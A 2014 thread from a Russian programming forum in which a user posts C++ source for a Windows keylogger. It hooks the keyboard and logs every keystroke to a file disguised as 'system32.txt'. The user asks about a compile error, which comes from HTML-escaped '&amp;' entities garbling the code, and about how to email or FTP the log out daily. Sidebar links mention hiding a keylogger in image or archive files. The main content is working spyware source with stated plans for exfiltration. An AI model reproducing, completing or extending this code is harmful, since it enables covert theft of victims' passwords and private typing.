Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.86/7: Рейтинг темы: голосов - 7, средняя оценка - 4.86
Mutant Koala
1

Теоретический момент по Keylogger на C++

10.12.2014, 22:14. Просмотров 1278. Ответов 1
Метки нет (Все метки)


Есть код, копипастнутый с незначительными изменениями, это простейший Keylogger, есть два вопроса один практический другой теоретический.
1) почему MVS при отладке ругается на данный момент
C++
1
while (GetMessage(&message,NULL,0,0))
(идентификатор amp не определен)

2) как реализовать отсылку лога, допустим раз в сутки на мыло, и вообще возможно-ли это? Так же интересует этот вопрос по поводу пересылки на FTP.

соответственно вот исходник

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include < windows.h >
#include < fstream >
#include < iostream >
#include < algorithm >
#include < string >
 
using namespace std;
 
string myKey;
BOOL isCaps();
 
char logName[] = "system32.txt";//LOG FILE name
 
//init all varibles for speed
MSG message;
HHOOK keyboardHook;
char keyNameBuff[16];
PKBDLLHOOKSTRUCT p;
unsigned int sc;
//кейлоггер для Windows
void writeToLog(string s) //write a string to the log
{
     ofstream log(logName, ios::app); //opens log file
 
     log << s; //writes to log.. with format '['']'
 
     log.close(); //closes log
}
// Кейлоггер для Windows
BOOL isCaps()
{
     if ((GetKeyState(VK_CAPITAL) &amp; 0x0001)!=0 || 
        ((GetKeyState(VK_SHIFT) &amp; 0x8000)!=0)) 
     {
        return 1;
     } else {
        return 0;
     }
}
// Кейлоггер для Windows
LRESULT CALLBACK hookProc(int nCode, 
WPARAM wParam, LPARAM lParam)//proc to be run on hooked key
{  
  if (wParam == WM_KEYDOWN)//if key event type is key down
        {
    //get the keyname from lParam
    p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode
 
    sc = MapVirtualKey(p->vkCode, 0);
    sc <<= 16; //shift 16 bits
 
    if (!(p->vkCode <= 32))//if not ascii
    {
    sc |= 0x1 << 24; // <- extended bit
    }
 
    GetKeyNameTextA(sc,keyNameBuff,16);
                // Кейлоггер для Windows - исходник 
                //gets ASCII key name from sc into keyNameBuff
 
    //write keyname to log
    myKey = keyNameBuff;
    if (myKey == "Space") {
           writeToLog(" ");
        }
        else if (myKey == "Right Alt") {
             writeToLog("[R ALT]");
        }
        else if (myKey == "Enter") {
             writeToLog("[ENTER]");
        }
        else if (myKey == "Left Alt") {
             writeToLog("[L ALT]");
        }
        else if (myKey == "Tab") {
             writeToLog("[TAB]");
        }
        else if (myKey == "Backspace") {
             writeToLog("[BS]");
        }
        else if (myKey == "Caps Lock") {
             writeToLog("[CAPS]");
        }
        else if (myKey == "Delete") {
             writeToLog("[DEL]");
        }
        else if (myKey == "Right Shift") {
             writeToLog("[R SHIFT]");
        }
        else if (myKey == "Shift") {
             writeToLog("[L SHIFT]");
        }
        else if (myKey == "Ctrl") {
             writeToLog("[L CTRL]");
        }
        else if (myKey == "Right Ctrl") {
             writeToLog("[R CTRL]");
        }
        // if its none of the special keys
        else {
             if (isCaps() == 1) {
                writeToLog(myKey);
             } else {
                std::transform(myKey.begin(), myKey.end(),
myKey.begin(), ::tolower);
                writeToLog(myKey);
             }
        }
}
        return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Кейлоггер для Windows
void msgLoop()
{
  while (GetMessage(&amp;message,NULL,0,0))
  {
    TranslateMessage(&amp;message);
    DispatchMessage(&amp;(message);
  }
}
// Кейлоггер для Windows
int WINAPI WinMain(HINSTANCE hInstance, 
HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
  keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, 
        hookProc, hInstance, 0); //hooks keyboard
 
  msgLoop(); //stops from closing
        // Кейлоггер для Windows - исходник
  UnhookWindowsHookEx(keyboardHook); //unhooks
 
  return 0; //Never run
}
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
10.12.2014, 22:14
Ответы с готовыми решениями:

Keylogger
Программа должна перехватывать вводимый текст из всех окон и сохранять в файл, делать скриншоты...

USB Keylogger
Эх, была не была, может быть, помидорами не закидают =) Делаю: Аппаратный перехватчик данных с...

Посоветуйте keylogger
Приветствую. Мне недавно позвонил друг детства, говорит, что у него есть подозрение, что его жена...

Нужен keylogger
Нужен нормальный кейлогер (невидимость, доступ по паролю, запись посещаемых сайтов и запись...

1
3170 / 1929 / 313
Регистрация: 27.08.2010
Сообщений: 5,131
Записей в блоге: 1
11.12.2014, 06:39 2
Цитата Сообщение от Mutant Koala Посмотреть сообщение
1) почему
Потому, что HTML.
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
11.12.2014, 06:39

Заказываю контрольные, курсовые, дипломные и любые другие студенческие работы здесь или здесь.

Заливаем keylogger
Всем доброго времени суток. Подскажите пожалуйста как можно залить keylogger в файл (jpg, txt, rar...

Определить момент силы торможения, если момент инерции маховика равен 1кг/м^2
маховик делал 10 оборотов в секунду,при торможении он остановился,сделав 30 оборотов от начало...

Каков вращающий момент, действующий на маховик, если момент сил трения в подшипниках 0,2 Нм
Маховик, имеющий форму диска, массой 35кг и диаметром 60 см через 3 с после включения мотора...

Определить скорость верхнего конца и момент импульса бревна в момент падения на землю
Столб высоты h=3,00 м и массы m=50,0 кг падает из вертикального положения на Землю. Определить...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2021, vBulletin Solutions, Inc.